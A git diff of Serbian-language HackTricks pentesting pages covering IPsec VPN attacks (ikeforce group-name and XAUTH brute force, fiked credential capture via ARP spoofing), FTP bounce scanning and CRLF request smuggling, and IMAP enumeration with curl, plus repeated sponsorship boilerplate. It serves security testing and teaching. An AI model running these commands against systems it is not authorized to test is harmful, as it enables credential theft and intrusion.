Ako ste otkrili određenu transformaciju, dodajte je u ikeforce komandu. I ako ste otkrili više transformacija slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih pravilno funkcioniše).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -174,9 +174,9 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID
### Snifovanje ID-a
(Iz knjige **Procena bezbednosti mreže: Upoznajte svoju mrežu**): Takođe je moguće dobiti validna korisnička imena špijuniranjem veze između VPN klijenta i servera, jer se prvi paket agresivnog moda koji sadrži ID klijenta šalje otvoreno
(Iz knjige **Procena bezbednosti mreže: Upoznajte svoju mrežu**): Takođe je moguće dobiti validna korisnička imena snifovanjem veze između VPN klijenta i servera, jer se prvi paket agresivnog moda koji sadrži ID klijenta šalje otvoreno.
![](<../.gitbook/assets/image (111).png>)
@ -201,29 +201,27 @@ Prelaskom na **IKEv2**, primećuje se značajna promena gde se koristi **EAP (Ex
### MitM napad na lokalnu mrežu za hvatanje kredencijala
Tako da možete uhvatiti podatke o prijavi koristeći _fiked_ i videti da li postoji neko podrazumevano korisničko ime (Morate preusmeriti IKE saobraćaj na `fiked` za špijuniranje, što se može uraditi uz pomoć ARP spoofinga, [više informacija](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked će delovati kao VPN krajnja tačka i uhvatiće XAuth kredencijale:
Tako možete uhvatiti podatke o prijavi koristeći _fiked_ i videti da li postoji neko podrazumevano korisničko ime (Morate preusmeriti IKE saobraćaj na `fiked` za špijuniranje, što se može uraditi uz pomoć ARP spoofinga, [više informacija](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked će delovati kao VPN krajnja tačka i uhvatiće XAuth kredencijale:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### Blokiranje saobraćaja ka portu 500 pomoću MitM napada korišćenjem IPSec
### Izvođenje MitM napada i blokiranje saobraćaja ka portu 500 korišćenjem IPSec-a
Takođe, pokušajte da izvršite MitM napad korišćenjem IPSec-a i blokirajte sav saobraćaj ka portu 500, ako tunel IPSec-a ne može da bude uspostavljen, možda će se saobraćaj slati nešifrovan.
Takođe, korišćenjem IPSec-a pokušajte da izvedete MitM napad i blokirate sav saobraćaj ka portu 500, ako tunel IPSec-a ne može da se uspostavi, možda će se saobraćaj slati nešifrovan.
### Brute-forcing XAUTH korisničkog imena i lozinke pomoću ikeforce
Da biste primenili **XAUTH** brute force (kada znate validno ime grupe **id** i **psk**), možete koristiti korisničko ime ili listu korisničkih imena i listu lozinki:
Da biste izvršili brute force napad na **XAUTH** (kada znate validno ime grupe **id** i **psk**), možete koristiti korisničko ime ili listu korisničkih imena i listu lozinki:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Na ovaj način, ikeforce će pokušati da se poveže koristeći svaku kombinaciju korisničko ime: lozinka.
Ako pronađete jednu ili više validnih transformacija, jednostavno ih koristite kao u prethodnim koracima.
## Autentikacija putem IPSEC VPN-a
## Autentikacija sa IPSEC VPN
U Kali, **VPNC** se koristi za uspostavljanje IPsec tunela. **Profili** se moraju nalaziti u direktorijumu `/etc/vpnc/`. Možete pokrenuti ove profile koristeći komandu _**vpnc**_.
Naredbe i konfiguracije u nastavku ilustruju proces postavljanja VPN veze pomoću VPNC-a:
Sledeće komande i konfiguracije ilustruju proces postavljanja VPN veze sa VPNC-om:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
@ -245,14 +243,14 @@ U ovom postavci:
- Zamijenite `[VPN_USERNAME]` i `[VPN_PASSWORD]` autentifikacionim podacima VPN-a.
- `[PID]` simbolizuje ID procesa koji će biti dodijeljen kada `vpnc` pokrene.
Osigurajte da se koriste stvarne, sigurne vrijednosti za zamjenu mjesta kada konfigurišete VPN.
Osigurajte da se stvarne, sigurne vrijednosti koriste za zamjenu mjesta kada konfigurišete VPN.
## Reference Materijal
* [PSK cracking rad](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Skeniranje VPN implementacije](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Procjena sigurnosti mreže 3. izdanje
* Network Security Assessment 3. izdanje
## Shodan
@ -260,7 +258,7 @@ Osigurajte da se koriste stvarne, sigurne vrijednosti za zamjenu mjesta kada kon
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -270,9 +268,9 @@ Osigurajte da se koriste stvarne, sigurne vrijednosti za zamjenu mjesta kada kon
Drugi načini podrške HackTricks-u:
* Ako želite vidjeti **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** Provjerite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Provjerite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-a**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podijelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

View file

@ -4,17 +4,17 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -32,17 +32,17 @@ PORT STATE SERVICE
```
### Aktivne i pasivne veze
U **Aktivnom FTP-u** FTP **klijent** prvo **inicira** kontrolnu **vezu** sa svog porta N do FTP servera na komandnom portu - port 21. Klijent zatim **sluša** na portu **N+1** i šalje port N+1 FTP serveru. FTP **server** zatim **inicira** vezu za prenos podataka, sa **svog porta M do porta N+1** FTP klijenta.
U **Aktivnom FTP-u** FTP **klijent** prvo **inicira** kontrolnu **vezu** sa svog porta N do FTP servera na komandnom portu - port 21. Klijent zatim **sluša** port **N+1** i šalje port N+1 FTP serveru. FTP **server** zatim **inicira** vezu za prenos podataka, sa **svog porta M do porta N+1** FTP klijenta.
Međutim, ako FTP klijent ima firewall postavljen koji kontroliše dolazne podatkovne veze spolja, tada aktivni FTP može predstavljati problem. I, izvodljivo rešenje za to je Pasivni FTP.
Međutim, ako FTP klijent ima postavljen firewall koji kontroliše dolazne veze za prenos podataka sa spoljnih lokacija, tada aktivni FTP može predstavljati problem. I, izvodljivo rešenje za to je Pasivni FTP.
U **Pasivnom FTP-u**, klijent inicira kontrolnu vezu sa svog porta N do porta 21 FTP servera. Nakon toga, klijent izdaje **passv komandu**. Server zatim šalje klijentu jedan od svojih portova M. I **klijent** **inicira** vezu za prenos podataka sa **svog porta P do porta M** FTP servera.
U **Pasivnom FTP-u**, klijent inicira kontrolnu vezu sa svog porta N do porta 21 FTP servera. Nakon toga, klijent izdaje **passv komandu**. Server zatim šalje klijentu jedan od svojih brojeva porta M. I **klijent** **inicira** vezu za prenos podataka sa **svog porta P do porta M** FTP servera.
Izvor: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Debugiranje veze
FTP komande **`debug`** i **`trace`** mogu se koristiti da se vidi **kako se odvija komunikacija**.
**FTP** komande **`debug`** i **`trace`** mogu se koristiti da se vidi **kako se odvija komunikacija**.
## Enumeracija
@ -123,7 +123,7 @@ Ovde možete pronaći lepu listu sa podrazumevanim ftp kredencijalima: [https://
### Automatizovano
Provere anonimne prijave i FTP provere se podrazumevano vrše nmap-om sa opcijom **-sC** ili:
Provere anonimnog prijavljivanja i FTP provere se podrazumevano vrše nmap-om sa opcijom **-sC** ili:
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -133,67 +133,67 @@ Možete se povezati sa FTP serverom koristeći pretraživač (kao što je Firefo
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Napomena da ako **web aplikacija** šalje podatke koje kontroliše korisnik **direktno na FTP server**, možete poslati dvostruko URL enkodirane `%0d%0a` bajtove (u dvostrukom URL enkodiranju ovo je `%250d%250a`) i naterati **FTP server da izvrši proizvoljne akcije**. Jedna od mogućih proizvoljnih akcija je preuzimanje sadržaja sa servera koji kontroliše korisnik, vršenje skeniranja portova ili pokušaj komunikacije sa drugim servisima zasnovanim na čistom tekstu (kao što je http).
Ukoliko **veb aplikacija** šalje podatke koje kontroliše korisnik **direktno na FTP server**, možete poslati dvostruko URL enkodirane `%0d%0a` bajtove (u dvostrukom URL enkodiranju ovo je `%250d%250a`) i naterati **FTP server da izvrši proizvoljne akcije**. Jedna od mogućih proizvoljnih akcija je preuzimanje sadržaja sa servera koji kontroliše korisnik, vršenje skeniranja portova ili pokušaj komunikacije sa drugim servisima zasnovanim na čistom tekstu (kao što je http).
## Preuzmi sve fajlove sa FTP-a
```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
```
Ako vaš korisničko ime/šifra sadrži specijalne karaktere, može se koristiti [sledeća komanda](https://stackoverflow.com/a/113900/13647948):
Ako vaš korisničko ime/lozinka sadrži specijalne karaktere, može se koristiti [sledeća komanda](https://stackoverflow.com/a/113900/13647948):
```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
```
## Neke FTP komande
* **`USER korisničko_ime`**
* **`USER korisničkoime`**
* **`PASS lozinka`**
* **`HELP`** Server pokazuje koje komande podržava
* \*\*`PORT 127,0,0,1,0,80`\*\*Ovo će pokazati FTP serveru da uspostavi vezu sa IP adresom 127.0.0.1 na portu 80 (_trebate postaviti 5. karakter kao "0" i 6. kao port u decimalnom obliku ili koristiti 5. i 6. karakter da izrazite port u heksadecimalnom obliku_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Ovo će pokazati FTP serveru da uspostavi TCP vezu (_označeno sa "2"_) sa IP adresom 127.0.0.1 na portu 80. Ova komanda **podržava IPv6**.
* \*\*`PORT 127,0,0,1,0,80`\*\*Ovo će pokazati FTP serveru da uspostavi vezu sa IP adresom 127.0.0.1 na portu 80 (_trebate postaviti 5. karakter kao "0" i 6. kao port u decimalnom formatu ili koristiti 5. i 6. karakter da izrazite port u heksadecimalnom formatu_).
* \*\*`EPRT |2|127,0,0,1|80|`\*\*Ovo će pokazati FTP serveru da uspostavi TCP vezu (_označeno sa "2"_) sa IP adresom 127.0.0.1 na portu 80. Ova komanda **podržava IPv6**.
* **`LIST`** Ovo će poslati listu fajlova u trenutnom folderu
* **`LIST -R`** Rekurzivni prikaz liste (ako je dozvoljeno od strane servera)
* **`APPE /putanja/nesto.txt`** Ovo će pokazati FTP-u da sačuva primljene podatke sa **pasivne** ili **PORT/EPRT** veze u fajl. Ako fajl već postoji, dodavaće podatke.
* **`APPE /putanja/nesto.txt`** Ovo će pokazati FTP-u da sačuva primljene podatke sa **pasivne** ili **PORT/EPRT** konekcije u fajl. Ako fajl već postoji, dodavaće podatke.
* **`STOR /putanja/nesto.txt`** Slično kao `APPE` ali će prebrisati fajlove
* **`STOU /putanja/nesto.txt`** Slično kao `APPE`, ali ako fajl već postoji, neće uraditi ništa.
* **`RETR /putanja/do/fajla`** Pasivna ili port veza mora biti uspostavljena. Zatim, FTP server će poslati naznačeni fajl preko te veze
* **`RETR /putanja/do/fajla`** Pasivna ili port konekcija mora biti uspostavljena. Zatim, FTP server će poslati naznačeni fajl preko te konekcije
* **`REST 6`** Ovo će pokazati serveru da sledeći put kada šalje nešto koristeći `RETR` treba da počne od 6. bajta.
* **`TYPE i`** Postavlja transfer u binarni oblik
* **`PASV`** Ovo će otvoriti pasivnu vezu i pokazati korisniku gde može da se poveže
* **`PUT /tmp/fajl.txt`** Postavlja naznačeni fajl na FTP
* **`TYPE i`** Postavlja transfer u binarni mod
* **`PASV`** Ovo će otvoriti pasivnu konekciju i pokazati korisniku gde može da se poveže
* **`PUT /tmp/fajl.txt`** Uploaduje naznačeni fajl na FTP
![](<../../.gitbook/assets/image (227).png>)
## FTPBounce napad
Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda se može koristiti da se pokaže serveru da želite da se povežete sa drugim FTP serverom na određenom portu. Zatim, možete koristiti ovo da skenirate koje portove na hostu su otvoreni preko FTP servera.
Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda može biti korišćena da pokaže serveru da želite da se povežete sa drugim FTP serverom na određenom portu. Zatim, možete koristiti ovo da skenirate koje portove na hostu su otvoreni preko FTP servera.
[**Saznajte ovde kako zloupotrebiti FTP server za skeniranje portova.**](ftp-bounce-attack.md)
Takođe možete zloupotrebiti ovu funkcionalnost da naterate FTP server da interaguje sa drugim protokolima. Možete **postaviti fajl koji sadrži HTTP zahtev** i naterati ranjiv FTP server da ga **pošalje proizvoljnom HTTP serveru** (_možda da dodate novog admin korisnika?_) ili čak postaviti FTP zahtev i naterati ranjiv FTP server da preuzme fajl sa drugog FTP servera.\
Takođe možete zloupotrebiti ovu funkcionalnost da naterate FTP server da interaguje sa drugim protokolima. Možete **uploadovati fajl koji sadrži HTTP zahtev** i naterati ranjiv FTP server da ga **pošalje proizvoljnom HTTP serveru** (_možda da dodate novog admin korisnika?_) ili čak uploadovati FTP zahtev i naterati ranjiv FTP server da preuzme fajl sa drugog FTP servera.\
Teorija je jednostavna:
1. **Postavite zahtev (unutar tekstualnog fajla) na ranjivi server.** Zapamtite da ako želite da komunicirate sa drugim HTTP ili FTP serverom, morate promeniti linije sa `0x0d 0x0a`
2. **Koristite `REST X` da biste izbegli slanje karaktera koje ne želite da pošaljete** (možda ste morali da stavite neki zaglavlje slike na početak da biste postavili zahtev unutar fajla)
1. **Uploadujte zahtev (unutar tekstualnog fajla) na ranjivi server.** Zapamtite da ako želite da komunicirate sa drugim HTTP ili FTP serverom, morate promeniti linije sa `0x0d 0x0a`
2. **Koristite `REST X` da biste izbegli slanje karaktera koje ne želite da pošaljete** (možda ste morali da stavite neki zaglavlje slike na početak da biste uploadovali zahtev unutar fajla)
3. **Koristite `PORT` da se povežete sa proizvoljnim serverom i servisom**
4. **Koristite `RETR` da pošaljete sačuvani zahtev serveru.**
Vrlo je verovatno da će ovo **izazvati grešku poput** _**Socket not writable**_ **jer veza ne traje dovoljno dugo da pošalje podatke sa `RETR`**. Predlozi za pokušaj izbegavanja toga su:
* Ako šaljete HTTP zahtev, **stavite isti zahtev jedan za drugim** dok ne dostignete **\~0.5MB** barem. Na primer:
* Ako šaljete HTTP zahtev, **stavite isti zahtev jedan za drugim** dok ne dostignete **oko 0.5MB** barem. Na primer:
{% file src="../../.gitbook/assets/posts (1).txt" %}
posts.txt
{% endfile %}
* Pokušajte da **popunite zahtev "junk" podacima u vezi sa protokolom** (razgovor sa FTP-om možda samo junk komande ili ponavljanje `RETR` instrukcije za dobijanje fajla)
* Jednostavno **popunite zahtev sa puno nula karaktera ili drugih** (podeljeno u linije ili ne)
* Pokušajte da **popunite zahtev "junk" podacima relativnim za protokol** (razgovarajući sa FTP-om možda samo junk komande ili ponavljanje `RETR` instrukcije za dobijanje fajla)
* Jednostavno **popunite zahtev sa puno nula karaktera ili drugih** (podeljenih u linije ili ne)
U svakom slučaju, ovde imate [stari primer kako zloupotrebiti ovo da naterate FTP server da preuzme fajl sa drugog FTP servera.](ftp-bounce-download-2oftp-file.md)
## Filezilla Server Ranjivost
**FileZilla** obično se **vezuje** za **lokalnu** administrativnu uslugu za **FileZilla-Server** (port 14147). Ako možete napraviti **tunel** sa **vaše mašine** da pristupite ovom portu, možete se **povezati** na **njega** koristeći **praznu lozinku** i **napraviti** novog korisnika za FTP servis.
**FileZilla** obično se **vezuje** za **lokalnu** Administrativnu uslugu za **FileZilla-Server** (port 14147). Ako možete napraviti **tunel** sa **vaše mašine** da pristupite ovom portu, možete se **povezati** na **njega** koristeći **praznu lozinku** i **kreirati** novog korisnika za FTP servis.
## Konfiguracioni fajlovi
```
@ -213,7 +213,7 @@ Podrazumevana konfiguracija vsFTPd-a može se pronaći u `/etc/vsftpd.conf`. Ovd
* `chown_uploads=YES` - Promena vlasništva nad anonimno otpremljenim fajlovima
* `chown_username=username` - Korisnik koji dobija vlasništvo nad anonimno otpremljenim fajlovima
* `local_enable=YES` - Omogućava lokalnim korisnicima prijavljivanje
* `no_anon_password=YES` - Ne traži anonimnom korisniku lozinku
* `no_anon_password=YES` - Ne traži anonimnog korisnika za lozinku
* `write_enable=YES` - Dozvoljava komande: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE i SITE
### Shodan
@ -225,7 +225,7 @@ Podrazumevana konfiguracija vsFTPd-a može se pronaći u `/etc/vsftpd.conf`. Ovd
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -287,7 +287,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -4,7 +4,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -25,7 +25,7 @@ Drugi načini podrške HackTricks-u:
## Ručno
1. Povežite se sa ranjivim FTP-om
2. Koristite **`PORT`** ili **`EPRT`** (ali samo jedan od njih) da uspostavite vezu sa _\<IP:Port>_ koji želite skenirati:
2. Koristite **`PORT`** ili **`EPRT`** (ali samo jedan od njih) da uspostavite vezu sa _\<IP:Port>_ koji želite da skenirate:
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
@ -52,7 +52,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
```
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -39,9 +39,9 @@ PORT STATE SERVICE REASON
nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet
```
### NTLM Auth - Otkrivanje informacija
### NTLM Autentifikacija - Otkrivanje informacija
Ako server podržava NTLM autentikaciju (Windows), možete dobiti osetljive informacije (verzije):
Ako server podržava NTLM autentifikaciju (Windows), možete dobiti osetljive informacije (verzije):
```
root@kali: telnet example.com 143
* OK The Microsoft Exchange IMAP4 service is ready.
@ -56,7 +56,7 @@ Ili **automatizujte** ovo sa **nmap** dodatkom `imap-ntlm-info.nse`
## Sintaksa
IMAP Komande primeri sa [ovde](https://donsutherland.org/crib/imap):
IMAP komande primeri sa [ovde](https://donsutherland.org/crib/imap):
```
Login
A1 LOGIN username password
@ -111,13 +111,13 @@ apt install evolution
### CURL
Osnovna navigacija je moguća pomoću [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), ali dokumentacija je siromašna detaljima, pa se preporučuje provera [izvornog koda](https://github.com/curl/curl/blob/master/lib/imap.c) za precizne detalje.
Osnovna navigacija je moguća pomoću [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), ali dokumentacija je siromašna detaljima, pa se preporučuje provera [izvora](https://github.com/curl/curl/blob/master/lib/imap.c) za precizne detalje.
1. Lista sandučića (imap komanda `LIST "" "*"`)
```bash
curl -k 'imaps://1.2.3.4/' --user user:pass
```
2. Prikazivanje poruka u sandučetu (imap komanda `SELECT INBOX` a zatim `SEARCH ALL`)
2. Listing poruka u sandučetu (imap komanda `SELECT INBOX` a zatim `SEARCH ALL`)
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
@ -131,14 +131,14 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```bash
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
Mail indeks će biti isti indeks koji je vraćen operacijom pretrage.
Indeks pošte će biti isti indeks koji je vraćen operacijom pretrage.
Takođe je moguće koristiti `UID` (jedinstveni identifikator) za pristup porukama, međutim to je manje praktično jer komanda pretrage mora biti ručno formatirana. Na primer:
```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
Takođe, moguće je preuzeti samo delove poruke, npr. predmet i pošiljaoca prvih 5 poruka (opcija `-v` je potrebna da bi se videli predmet i pošiljalac):
Takođe, moguće je preuzeti samo delove poruke, npr. predmet i pošiljaoca prvih 5 poruka (opcija `-v` je potrebna da biste videli predmet i pošiljaoca):
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
@ -156,7 +156,7 @@ done
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -196,7 +196,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
## Osnovne Informacije
Sa [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
Sa [wikipedije](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
